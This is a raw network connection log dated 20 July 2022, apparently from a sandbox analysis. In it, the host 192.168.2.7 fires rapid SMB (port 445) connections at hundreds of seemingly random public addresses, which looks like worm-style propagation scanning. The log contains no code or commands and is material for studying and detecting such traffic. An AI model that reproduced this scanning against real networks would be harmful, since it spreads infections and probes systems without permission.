Jul 20, 2022 15:46:14.879915953 CEST	56094	445	192.168.2.7	146.173.147.202
Jul 20, 2022 15:46:14.881863117 CEST	56098	445	192.168.2.7	217.252.139.14
Jul 20, 2022 15:46:14.882402897 CEST	56099	445	192.168.2.7	175.148.67.108
Jul 20, 2022 15:46:14.888719082 CEST	445	56037	207.251.60.57	192.168.2.7
Jul 20, 2022 15:46:14.895210028 CEST	56106	445	192.168.2.7	187.239.215.35
Jul 20, 2022 15:46:14.895659924 CEST	56108	445	192.168.2.7	150.182.171.10
Jul 20, 2022 15:46:14.900768995 CEST	443	56075	20.199.120.85	192.168.2.7
Jul 20, 2022 15:46:14.900950909 CEST	56075	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:46:14.903140068 CEST	56075	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:46:14.903156042 CEST	443	56075	20.199.120.85	192.168.2.7
Jul 20, 2022 15:46:14.903517008 CEST	443	56075	20.199.120.85	192.168.2.7
Jul 20, 2022 15:46:14.928215027 CEST	56075	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:46:14.928280115 CEST	56075	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:46:14.928291082 CEST	443	56075	20.199.120.85	192.168.2.7
Jul 20, 2022 15:46:14.928458929 CEST	56075	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:46:14.959904909 CEST	443	56075	20.199.120.85	192.168.2.7
Jul 20, 2022 15:46:14.960025072 CEST	443	56075	20.199.120.85	192.168.2.7
Jul 20, 2022 15:46:14.960124969 CEST	56075	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:46:14.960376978 CEST	56075	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:46:14.960398912 CEST	443	56075	20.199.120.85	192.168.2.7
Jul 20, 2022 15:46:15.310669899 CEST	55533	445	192.168.2.7	149.20.139.2
Jul 20, 2022 15:46:15.404558897 CEST	56037	445	192.168.2.7	207.251.60.57
Jul 20, 2022 15:46:15.557250023 CEST	445	56037	207.251.60.57	192.168.2.7
Jul 20, 2022 15:46:15.830516100 CEST	56116	445	192.168.2.7	161.46.65.109
Jul 20, 2022 15:46:15.859415054 CEST	56117	445	192.168.2.7	108.8.89.28
Jul 20, 2022 15:46:15.859421015 CEST	56118	445	192.168.2.7	140.248.138.166
Jul 20, 2022 15:46:15.859484911 CEST	56119	445	192.168.2.7	79.226.20.245
Jul 20, 2022 15:46:15.860057116 CEST	56122	445	192.168.2.7	3.79.237.9
Jul 20, 2022 15:46:15.860135078 CEST	56123	445	192.168.2.7	42.78.79.170
Jul 20, 2022 15:46:15.860146999 CEST	56125	445	192.168.2.7	13.94.21.8
Jul 20, 2022 15:46:15.860375881 CEST	56128	445	192.168.2.7	85.51.186.249
Jul 20, 2022 15:46:15.860431910 CEST	56132	445	192.168.2.7	217.210.132.194
Jul 20, 2022 15:46:15.860450029 CEST	56131	445	192.168.2.7	56.21.106.13
Jul 20, 2022 15:46:15.860543013 CEST	56135	445	192.168.2.7	102.146.236.18
Jul 20, 2022 15:46:15.860652924 CEST	56136	445	192.168.2.7	25.187.27.235
Jul 20, 2022 15:46:15.860753059 CEST	56141	445	192.168.2.7	156.166.237.82
Jul 20, 2022 15:46:15.860780001 CEST	56142	445	192.168.2.7	90.211.248.46
Jul 20, 2022 15:46:15.865746975 CEST	56146	445	192.168.2.7	123.59.143.189
Jul 20, 2022 15:46:15.865858078 CEST	56148	445	192.168.2.7	13.222.197.169
Jul 20, 2022 15:46:15.906178951 CEST	56156	445	192.168.2.7	43.162.73.206
Jul 20, 2022 15:46:15.940453053 CEST	56159	445	192.168.2.7	90.250.178.48
Jul 20, 2022 15:46:15.941524029 CEST	56160	445	192.168.2.7	25.157.74.187
Jul 20, 2022 15:46:15.941605091 CEST	56162	445	192.168.2.7	62.210.82.35
Jul 20, 2022 15:46:15.941694021 CEST	56164	445	192.168.2.7	147.126.188.45
Jul 20, 2022 15:46:16.000658035 CEST	56171	445	192.168.2.7	52.97.179.66
Jul 20, 2022 15:46:16.001422882 CEST	56172	445	192.168.2.7	149.133.217.114
Jul 20, 2022 15:46:16.003045082 CEST	56175	445	192.168.2.7	89.73.61.91
Jul 20, 2022 15:46:16.005022049 CEST	56179	445	192.168.2.7	92.39.239.238
Jul 20, 2022 15:46:16.005618095 CEST	56180	445	192.168.2.7	159.190.9.89
Jul 20, 2022 15:46:16.014713049 CEST	56187	445	192.168.2.7	172.196.177.6
Jul 20, 2022 15:46:16.015773058 CEST	56189	445	192.168.2.7	15.30.115.35
Jul 20, 2022 15:46:16.067526102 CEST	445	56164	147.126.188.45	192.168.2.7
Jul 20, 2022 15:46:16.576365948 CEST	56164	445	192.168.2.7	147.126.188.45
Jul 20, 2022 15:46:16.702284098 CEST	445	56164	147.126.188.45	192.168.2.7
Jul 20, 2022 15:46:16.942395926 CEST	56194	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:16.954276085 CEST	56195	445	192.168.2.7	60.212.31.51
Jul 20, 2022 15:46:16.987386942 CEST	56200	445	192.168.2.7	120.125.164.16
Jul 20, 2022 15:46:16.988914967 CEST	56201	445	192.168.2.7	150.169.167.253
Jul 20, 2022 15:46:16.989593983 CEST	56202	445	192.168.2.7	145.183.87.235
Jul 20, 2022 15:46:16.993225098 CEST	56205	445	192.168.2.7	39.46.157.43
Jul 20, 2022 15:46:16.993864059 CEST	56206	445	192.168.2.7	146.43.40.24
Jul 20, 2022 15:46:16.996121883 CEST	56208	445	192.168.2.7	20.71.10.17
Jul 20, 2022 15:46:17.028623104 CEST	445	56194	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:17.028750896 CEST	56194	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:17.061290979 CEST	56194	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:17.074919939 CEST	56210	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:17.076062918 CEST	56214	445	192.168.2.7	18.231.164.227
Jul 20, 2022 15:46:17.076145887 CEST	56216	445	192.168.2.7	72.19.166.192
Jul 20, 2022 15:46:17.076169968 CEST	56217	445	192.168.2.7	152.86.76.64
Jul 20, 2022 15:46:17.076894999 CEST	56219	445	192.168.2.7	140.23.149.68
Jul 20, 2022 15:46:17.080965996 CEST	56220	445	192.168.2.7	88.228.175.44
Jul 20, 2022 15:46:17.081578016 CEST	56225	445	192.168.2.7	172.76.172.227
Jul 20, 2022 15:46:17.081933975 CEST	56226	445	192.168.2.7	33.20.90.41
Jul 20, 2022 15:46:17.083528996 CEST	56231	445	192.168.2.7	77.234.211.4
Jul 20, 2022 15:46:17.083810091 CEST	56232	445	192.168.2.7	33.118.143.103
Jul 20, 2022 15:46:17.088517904 CEST	56239	445	192.168.2.7	58.60.53.145
Jul 20, 2022 15:46:17.094544888 CEST	56243	445	192.168.2.7	56.144.57.37
Jul 20, 2022 15:46:17.094830036 CEST	56245	445	192.168.2.7	77.121.15.217
Jul 20, 2022 15:46:17.094981909 CEST	56246	445	192.168.2.7	10.96.139.42
Jul 20, 2022 15:46:17.095087051 CEST	56247	445	192.168.2.7	57.119.193.62
Jul 20, 2022 15:46:17.142218113 CEST	56255	445	192.168.2.7	2.23.13.217
Jul 20, 2022 15:46:17.143075943 CEST	56256	445	192.168.2.7	21.32.135.104
Jul 20, 2022 15:46:17.145037889 CEST	56259	445	192.168.2.7	139.153.169.204
Jul 20, 2022 15:46:17.146292925 CEST	445	56194	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:17.146320105 CEST	445	56194	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:17.146508932 CEST	56194	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:17.147764921 CEST	56263	445	192.168.2.7	153.84.254.247
Jul 20, 2022 15:46:17.148550034 CEST	56264	445	192.168.2.7	196.150.110.160
Jul 20, 2022 15:46:17.175784111 CEST	56271	445	192.168.2.7	60.131.190.218
Jul 20, 2022 15:46:17.177319050 CEST	56273	445	192.168.2.7	71.88.123.132
Jul 20, 2022 15:46:17.228408098 CEST	445	56194	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:17.246026993 CEST	56194	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:17.248153925 CEST	445	56210	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:17.248292923 CEST	56210	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:17.251296043 CEST	56210	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:17.328130007 CEST	445	56194	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:17.328428030 CEST	56194	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:17.412077904 CEST	445	56194	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:17.412267923 CEST	56194	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:17.424720049 CEST	445	56210	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:17.425086021 CEST	56210	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:17.468492985 CEST	56275	445	192.168.2.7	188.18.139.76
Jul 20, 2022 15:46:17.496108055 CEST	445	56194	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:17.496248007 CEST	56194	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:17.600370884 CEST	445	56210	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:17.600697994 CEST	56210	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:17.777259111 CEST	445	56210	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:17.843787909 CEST	56277	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:18.016525984 CEST	445	56277	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:18.016627073 CEST	56277	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:18.016788006 CEST	56277	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:18.018666029 CEST	56280	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:18.079406023 CEST	56285	445	192.168.2.7	16.41.242.86
Jul 20, 2022 15:46:18.111165047 CEST	56287	445	192.168.2.7	151.176.155.72
Jul 20, 2022 15:46:18.111365080 CEST	56288	445	192.168.2.7	184.187.9.118
Jul 20, 2022 15:46:18.111437082 CEST	56289	445	192.168.2.7	86.168.58.34
Jul 20, 2022 15:46:18.111496925 CEST	56290	445	192.168.2.7	52.197.130.74
Jul 20, 2022 15:46:18.111627102 CEST	56293	445	192.168.2.7	33.69.112.118
Jul 20, 2022 15:46:18.111661911 CEST	56294	445	192.168.2.7	158.229.179.108
Jul 20, 2022 15:46:18.188842058 CEST	445	56277	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:18.188865900 CEST	445	56277	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:18.189090967 CEST	445	56280	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:18.189198017 CEST	56280	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:18.189385891 CEST	56280	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:18.233737946 CEST	56298	445	192.168.2.7	57.67.249.229
Jul 20, 2022 15:46:18.233892918 CEST	56301	445	192.168.2.7	99.33.215.43
Jul 20, 2022 15:46:18.234006882 CEST	56302	445	192.168.2.7	173.165.190.84
Jul 20, 2022 15:46:18.234010935 CEST	56304	445	192.168.2.7	168.49.244.84
Jul 20, 2022 15:46:18.234086990 CEST	56305	445	192.168.2.7	187.177.72.105
Jul 20, 2022 15:46:18.234343052 CEST	56313	445	192.168.2.7	63.201.173.83
Jul 20, 2022 15:46:18.234405994 CEST	56314	445	192.168.2.7	211.66.104.37
Jul 20, 2022 15:46:18.234456062 CEST	56315	445	192.168.2.7	42.163.183.4
Jul 20, 2022 15:46:18.234704971 CEST	56322	445	192.168.2.7	139.216.124.237
Jul 20, 2022 15:46:18.234719038 CEST	56321	445	192.168.2.7	94.169.82.148
Jul 20, 2022 15:46:18.234884024 CEST	56326	445	192.168.2.7	88.88.101.12
Jul 20, 2022 15:46:18.234891891 CEST	56327	445	192.168.2.7	125.107.29.130
Jul 20, 2022 15:46:18.235236883 CEST	56333	445	192.168.2.7	189.137.126.76
Jul 20, 2022 15:46:18.235315084 CEST	56332	445	192.168.2.7	203.191.158.74
Jul 20, 2022 15:46:18.266572952 CEST	56340	445	192.168.2.7	43.177.182.80
Jul 20, 2022 15:46:18.267102957 CEST	56341	445	192.168.2.7	206.208.230.159
Jul 20, 2022 15:46:18.268537045 CEST	56344	445	192.168.2.7	149.65.174.187
Jul 20, 2022 15:46:18.270411015 CEST	56348	445	192.168.2.7	18.162.211.190
Jul 20, 2022 15:46:18.271090031 CEST	56349	445	192.168.2.7	12.30.63.18
Jul 20, 2022 15:46:18.296916008 CEST	56356	445	192.168.2.7	188.183.10.225
Jul 20, 2022 15:46:18.299295902 CEST	56358	445	192.168.2.7	38.73.63.239
Jul 20, 2022 15:46:18.360260963 CEST	445	56280	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:18.360542059 CEST	56280	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:18.531768084 CEST	56361	445	192.168.2.7	188.18.139.77
Jul 20, 2022 15:46:18.533227921 CEST	445	56280	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:18.533413887 CEST	56280	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:18.703991890 CEST	445	56280	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:19.203757048 CEST	56365	445	192.168.2.7	191.188.70.191
Jul 20, 2022 15:46:19.234961033 CEST	56371	445	192.168.2.7	151.173.11.244
Jul 20, 2022 15:46:19.235439062 CEST	56372	445	192.168.2.7	153.253.100.69
Jul 20, 2022 15:46:19.235912085 CEST	56373	445	192.168.2.7	45.237.150.72
Jul 20, 2022 15:46:19.237024069 CEST	56374	445	192.168.2.7	75.84.102.29
Jul 20, 2022 15:46:19.238086939 CEST	56377	445	192.168.2.7	201.42.56.60
Jul 20, 2022 15:46:19.241085052 CEST	56378	445	192.168.2.7	154.127.249.22
Jul 20, 2022 15:46:19.359364033 CEST	56383	445	192.168.2.7	183.134.212.62
Jul 20, 2022 15:46:19.360827923 CEST	56386	445	192.168.2.7	161.185.179.99
Jul 20, 2022 15:46:19.363218069 CEST	56391	445	192.168.2.7	77.68.117.88
Jul 20, 2022 15:46:19.363847017 CEST	56392	445	192.168.2.7	88.105.182.159
Jul 20, 2022 15:46:19.365964890 CEST	56396	445	192.168.2.7	193.59.62.177
Jul 20, 2022 15:46:19.366585016 CEST	56397	445	192.168.2.7	204.120.240.121
Jul 20, 2022 15:46:19.368088961 CEST	56400	445	192.168.2.7	82.1.130.144
Jul 20, 2022 15:46:19.370187044 CEST	56404	445	192.168.2.7	62.245.95.209
Jul 20, 2022 15:46:19.370670080 CEST	56405	445	192.168.2.7	49.230.104.204
Jul 20, 2022 15:46:19.450550079 CEST	56413	445	192.168.2.7	27.165.55.180
Jul 20, 2022 15:46:19.450669050 CEST	56414	445	192.168.2.7	36.103.122.59
Jul 20, 2022 15:46:19.450783014 CEST	56416	445	192.168.2.7	74.210.65.109
Jul 20, 2022 15:46:19.450871944 CEST	56417	445	192.168.2.7	201.197.188.244
Jul 20, 2022 15:46:19.450970888 CEST	56419	445	192.168.2.7	121.165.168.147
Jul 20, 2022 15:46:19.451164961 CEST	56424	445	192.168.2.7	213.242.246.205
Jul 20, 2022 15:46:19.451273918 CEST	56426	445	192.168.2.7	74.121.184.125
Jul 20, 2022 15:46:19.451461077 CEST	56429	445	192.168.2.7	29.94.139.172
Jul 20, 2022 15:46:19.453078032 CEST	56432	445	192.168.2.7	209.203.155.9
Jul 20, 2022 15:46:19.453212023 CEST	56433	445	192.168.2.7	171.59.105.205
Jul 20, 2022 15:46:19.457716942 CEST	56440	445	192.168.2.7	198.14.50.135
Jul 20, 2022 15:46:19.457869053 CEST	56442	445	192.168.2.7	84.205.149.91
Jul 20, 2022 15:46:19.609508038 CEST	56443	445	192.168.2.7	188.18.139.78
Jul 20, 2022 15:46:20.313062906 CEST	56450	445	192.168.2.7	180.252.86.57
Jul 20, 2022 15:46:20.359571934 CEST	56454	445	192.168.2.7	128.150.195.54
Jul 20, 2022 15:46:20.360265970 CEST	56455	445	192.168.2.7	199.229.109.175
Jul 20, 2022 15:46:20.362550974 CEST	56458	445	192.168.2.7	66.237.244.180
Jul 20, 2022 15:46:20.363212109 CEST	56459	445	192.168.2.7	1.85.197.192
Jul 20, 2022 15:46:20.363620996 CEST	56460	445	192.168.2.7	17.204.195.113
Jul 20, 2022 15:46:20.364564896 CEST	56461	445	192.168.2.7	61.216.45.191
Jul 20, 2022 15:46:20.484380007 CEST	56467	445	192.168.2.7	88.83.122.60
Jul 20, 2022 15:46:20.485953093 CEST	56470	445	192.168.2.7	55.203.33.97
Jul 20, 2022 15:46:20.488698006 CEST	56475	445	192.168.2.7	46.13.178.231
Jul 20, 2022 15:46:20.489330053 CEST	56476	445	192.168.2.7	180.9.220.122
Jul 20, 2022 15:46:20.492253065 CEST	56480	445	192.168.2.7	18.2.4.93
Jul 20, 2022 15:46:20.492938995 CEST	56481	445	192.168.2.7	109.127.233.187
Jul 20, 2022 15:46:20.504532099 CEST	56484	445	192.168.2.7	200.22.27.118
Jul 20, 2022 15:46:20.504695892 CEST	56489	445	192.168.2.7	68.185.184.19
Jul 20, 2022 15:46:20.504710913 CEST	56488	445	192.168.2.7	43.250.221.99
Jul 20, 2022 15:46:20.562561989 CEST	56494	445	192.168.2.7	79.35.102.1
Jul 20, 2022 15:46:20.563158989 CEST	56495	445	192.168.2.7	188.230.188.94
Jul 20, 2022 15:46:20.563673973 CEST	56496	445	192.168.2.7	47.212.15.249
Jul 20, 2022 15:46:20.564666986 CEST	56498	445	192.168.2.7	122.104.166.130
Jul 20, 2022 15:46:20.567501068 CEST	56503	445	192.168.2.7	159.163.34.153
Jul 20, 2022 15:46:20.568315029 CEST	56504	445	192.168.2.7	10.54.39.152
Jul 20, 2022 15:46:20.574359894 CEST	56507	445	192.168.2.7	101.198.74.41
Jul 20, 2022 15:46:20.643785954 CEST	56509	445	192.168.2.7	56.183.224.205
Jul 20, 2022 15:46:20.643809080 CEST	56511	445	192.168.2.7	4.97.153.103
Jul 20, 2022 15:46:20.644145012 CEST	56519	445	192.168.2.7	148.215.0.24
Jul 20, 2022 15:46:20.644201994 CEST	56521	445	192.168.2.7	60.37.129.254
Jul 20, 2022 15:46:20.644426107 CEST	56527	445	192.168.2.7	170.132.218.178
Jul 20, 2022 15:46:20.686945915 CEST	56528	445	192.168.2.7	188.18.139.79
Jul 20, 2022 15:46:21.422880888 CEST	56535	445	192.168.2.7	75.243.15.137
Jul 20, 2022 15:46:21.472769022 CEST	56540	445	192.168.2.7	83.47.55.218
Jul 20, 2022 15:46:21.473615885 CEST	56541	445	192.168.2.7	179.51.115.170
Jul 20, 2022 15:46:21.474797010 CEST	56542	445	192.168.2.7	165.182.164.6
Jul 20, 2022 15:46:21.475414038 CEST	56543	445	192.168.2.7	104.148.91.101
Jul 20, 2022 15:46:21.476845026 CEST	56546	445	192.168.2.7	177.94.133.69
Jul 20, 2022 15:46:21.477384090 CEST	56547	445	192.168.2.7	43.90.124.158
Jul 20, 2022 15:46:21.635257006 CEST	56552	445	192.168.2.7	102.204.192.212
Jul 20, 2022 15:46:21.635775089 CEST	56554	445	192.168.2.7	91.184.112.150
Jul 20, 2022 15:46:21.635792017 CEST	56556	445	192.168.2.7	202.219.37.177
Jul 20, 2022 15:46:21.635977983 CEST	56560	445	192.168.2.7	84.122.179.155
Jul 20, 2022 15:46:21.636112928 CEST	56562	445	192.168.2.7	28.21.117.73
Jul 20, 2022 15:46:21.636204958 CEST	56565	445	192.168.2.7	115.24.247.1
Jul 20, 2022 15:46:21.636280060 CEST	56566	445	192.168.2.7	4.167.215.11
Jul 20, 2022 15:46:21.636475086 CEST	56570	445	192.168.2.7	49.42.13.229
Jul 20, 2022 15:46:21.636528015 CEST	56573	445	192.168.2.7	157.254.206.123
Jul 20, 2022 15:46:21.720860004 CEST	56578	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:21.722239971 CEST	56580	445	192.168.2.7	12.250.122.156
Jul 20, 2022 15:46:21.723042011 CEST	56581	445	192.168.2.7	57.5.233.234
Jul 20, 2022 15:46:21.724917889 CEST	56582	445	192.168.2.7	194.19.47.46
Jul 20, 2022 15:46:21.728929043 CEST	56583	445	192.168.2.7	182.53.3.37
Jul 20, 2022 15:46:21.729262114 CEST	56589	445	192.168.2.7	53.106.117.173
Jul 20, 2022 15:46:21.729424000 CEST	56590	445	192.168.2.7	96.69.102.87
Jul 20, 2022 15:46:21.758919001 CEST	56593	445	192.168.2.7	121.170.12.226
Jul 20, 2022 15:46:21.767959118 CEST	56596	445	192.168.2.7	87.245.241.253
Jul 20, 2022 15:46:21.768812895 CEST	56597	445	192.168.2.7	26.177.206.12
Jul 20, 2022 15:46:21.774452925 CEST	56606	445	192.168.2.7	151.21.186.122
Jul 20, 2022 15:46:21.774966955 CEST	56607	445	192.168.2.7	105.2.168.189
Jul 20, 2022 15:46:21.812535048 CEST	56612	445	192.168.2.7	122.42.146.159
Jul 20, 2022 15:46:21.812709093 CEST	56613	445	192.168.2.7	188.18.139.80
Jul 20, 2022 15:46:21.890353918 CEST	445	56578	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:21.890511036 CEST	56578	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:21.891625881 CEST	56578	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:21.910165071 CEST	445	56583	182.53.3.37	192.168.2.7
Jul 20, 2022 15:46:22.061615944 CEST	445	56578	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:22.061867952 CEST	56578	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:22.229839087 CEST	445	56578	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:22.230127096 CEST	56578	445	192.168.2.7	107.186.141.39
Jul 20, 2022 15:46:22.397922993 CEST	445	56578	107.186.141.39	192.168.2.7
Jul 20, 2022 15:46:22.420689106 CEST	56583	445	192.168.2.7	182.53.3.37
Jul 20, 2022 15:46:22.468622923 CEST	56619	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:46:22.551861048 CEST	56623	445	192.168.2.7	58.125.148.92
Jul 20, 2022 15:46:22.594598055 CEST	56628	445	192.168.2.7	91.28.60.91
Jul 20, 2022 15:46:22.595877886 CEST	56629	445	192.168.2.7	219.153.215.157
Jul 20, 2022 15:46:22.596450090 CEST	56630	445	192.168.2.7	134.123.174.118
Jul 20, 2022 15:46:22.596996069 CEST	56631	445	192.168.2.7	112.84.86.56
Jul 20, 2022 15:46:22.598583937 CEST	56634	445	192.168.2.7	131.8.85.95
Jul 20, 2022 15:46:22.599205971 CEST	56635	445	192.168.2.7	188.238.145.0
Jul 20, 2022 15:46:22.603360891 CEST	445	56583	182.53.3.37	192.168.2.7
Jul 20, 2022 15:46:22.641134024 CEST	445	56619	107.186.141.40	192.168.2.7
Jul 20, 2022 15:46:22.641258001 CEST	56619	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:46:22.641695976 CEST	56619	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:46:22.641824007 CEST	445	56635	188.238.145.0	192.168.2.7
Jul 20, 2022 15:46:22.644609928 CEST	56636	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:46:22.757169962 CEST	56640	445	192.168.2.7	202.244.173.143
Jul 20, 2022 15:46:22.757673025 CEST	56643	445	192.168.2.7	162.54.43.244
Jul 20, 2022 15:46:22.757836103 CEST	56644	445	192.168.2.7	62.224.98.51
Jul 20, 2022 15:46:22.757975101 CEST	56649	445	192.168.2.7	212.143.117.163
Jul 20, 2022 15:46:22.758114100 CEST	56652	445	192.168.2.7	13.73.249.14
Jul 20, 2022 15:46:22.758194923 CEST	56654	445	192.168.2.7	200.207.46.45
Jul 20, 2022 15:46:22.758234024 CEST	56655	445	192.168.2.7	51.14.254.16
Jul 20, 2022 15:46:22.758414030 CEST	56660	445	192.168.2.7	88.220.243.230
Jul 20, 2022 15:46:22.758518934 CEST	56662	445	192.168.2.7	177.4.130.28
Jul 20, 2022 15:46:22.812151909 CEST	445	56619	107.186.141.40	192.168.2.7
Jul 20, 2022 15:46:22.812182903 CEST	445	56619	107.186.141.40	192.168.2.7
Jul 20, 2022 15:46:22.813313007 CEST	445	56636	107.186.141.40	192.168.2.7
Jul 20, 2022 15:46:22.813433886 CEST	56636	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:46:22.813575983 CEST	56636	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:46:22.845850945 CEST	56667	445	192.168.2.7	16.186.161.98
Jul 20, 2022 15:46:22.847831964 CEST	56670	445	192.168.2.7	50.1.149.57
Jul 20, 2022 15:46:22.847877026 CEST	56669	445	192.168.2.7	160.143.100.124
Jul 20, 2022 15:46:22.847948074 CEST	56671	445	192.168.2.7	16.199.59.245
Jul 20, 2022 15:46:22.848119974 CEST	56677	445	192.168.2.7	96.56.204.232
Jul 20, 2022 15:46:22.848186016 CEST	56678	445	192.168.2.7	24.187.107.238
Jul 20, 2022 15:46:22.875850916 CEST	56681	445	192.168.2.7	21.221.241.15
Jul 20, 2022 15:46:22.896527052 CEST	56685	445	192.168.2.7	219.94.39.39
Jul 20, 2022 15:46:22.896569967 CEST	56684	445	192.168.2.7	191.242.157.56
Jul 20, 2022 15:46:22.897044897 CEST	56694	445	192.168.2.7	42.149.114.107
Jul 20, 2022 15:46:22.897095919 CEST	56695	445	192.168.2.7	102.44.33.6
Jul 20, 2022 15:46:22.940424919 CEST	56700	445	192.168.2.7	197.225.40.170
Jul 20, 2022 15:46:22.941052914 CEST	56701	445	192.168.2.7	188.18.139.81
Jul 20, 2022 15:46:22.981915951 CEST	445	56636	107.186.141.40	192.168.2.7
Jul 20, 2022 15:46:22.982182980 CEST	56636	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:46:22.983604908 CEST	445	56695	102.44.33.6	192.168.2.7
Jul 20, 2022 15:46:23.150162935 CEST	445	56636	107.186.141.40	192.168.2.7
Jul 20, 2022 15:46:23.155093908 CEST	56635	445	192.168.2.7	188.238.145.0
Jul 20, 2022 15:46:23.158109903 CEST	56636	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:46:23.197515965 CEST	445	56635	188.238.145.0	192.168.2.7
Jul 20, 2022 15:46:23.326158047 CEST	445	56636	107.186.141.40	192.168.2.7
Jul 20, 2022 15:46:23.498893976 CEST	56695	445	192.168.2.7	102.44.33.6
Jul 20, 2022 15:46:23.583626032 CEST	445	56695	102.44.33.6	192.168.2.7
Jul 20, 2022 15:46:24.090626001 CEST	56710	445	192.168.2.7	47.172.26.57
Jul 20, 2022 15:46:24.090773106 CEST	56711	445	192.168.2.7	148.25.237.113
Jul 20, 2022 15:46:24.090868950 CEST	56712	445	192.168.2.7	181.239.210.123
Jul 20, 2022 15:46:24.092750072 CEST	56713	445	192.168.2.7	8.164.252.181
Jul 20, 2022 15:46:24.093591928 CEST	56716	445	192.168.2.7	218.154.232.50
Jul 20, 2022 15:46:24.093664885 CEST	56717	445	192.168.2.7	135.195.8.63
Jul 20, 2022 15:46:24.093805075 CEST	56719	445	192.168.2.7	145.130.4.57
Jul 20, 2022 15:46:24.103207111 CEST	56728	445	192.168.2.7	206.85.122.151
Jul 20, 2022 15:46:24.103275061 CEST	56729	445	192.168.2.7	34.228.14.36
Jul 20, 2022 15:46:24.103458881 CEST	56734	445	192.168.2.7	205.249.205.69
Jul 20, 2022 15:46:24.103542089 CEST	56735	445	192.168.2.7	164.39.232.117
Jul 20, 2022 15:46:24.103614092 CEST	56736	445	192.168.2.7	87.225.114.253
Jul 20, 2022 15:46:24.103740931 CEST	56739	445	192.168.2.7	163.215.46.113
Jul 20, 2022 15:46:24.103905916 CEST	56744	445	192.168.2.7	76.84.140.230
Jul 20, 2022 15:46:24.104011059 CEST	56745	445	192.168.2.7	99.170.163.24
Jul 20, 2022 15:46:24.104114056 CEST	56747	445	192.168.2.7	98.2.248.177
Jul 20, 2022 15:46:24.105215073 CEST	56753	445	192.168.2.7	188.18.139.82
Jul 20, 2022 15:46:24.107821941 CEST	56757	445	192.168.2.7	37.122.192.184
Jul 20, 2022 15:46:24.108026981 CEST	56760	445	192.168.2.7	69.41.177.116
Jul 20, 2022 15:46:24.108148098 CEST	56762	445	192.168.2.7	131.224.252.97
Jul 20, 2022 15:46:24.156011105 CEST	56766	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:46:24.156050920 CEST	443	56766	20.199.120.151	192.168.2.7
Jul 20, 2022 15:46:24.156119108 CEST	56766	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:46:24.156894922 CEST	56766	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:46:24.156917095 CEST	443	56766	20.199.120.151	192.168.2.7
Jul 20, 2022 15:46:24.170515060 CEST	56771	445	192.168.2.7	179.109.129.181
Jul 20, 2022 15:46:24.171173096 CEST	56772	445	192.168.2.7	44.41.254.10
Jul 20, 2022 15:46:24.172112942 CEST	56774	445	192.168.2.7	31.103.197.9
Jul 20, 2022 15:46:24.172739029 CEST	56775	445	192.168.2.7	56.228.101.25
Jul 20, 2022 15:46:24.173307896 CEST	56776	445	192.168.2.7	205.26.116.39
Jul 20, 2022 15:46:24.174237967 CEST	56778	445	192.168.2.7	82.243.174.82
Jul 20, 2022 15:46:24.174746990 CEST	56779	445	192.168.2.7	173.149.49.32
Jul 20, 2022 15:46:24.177010059 CEST	56784	445	192.168.2.7	3.246.11.69
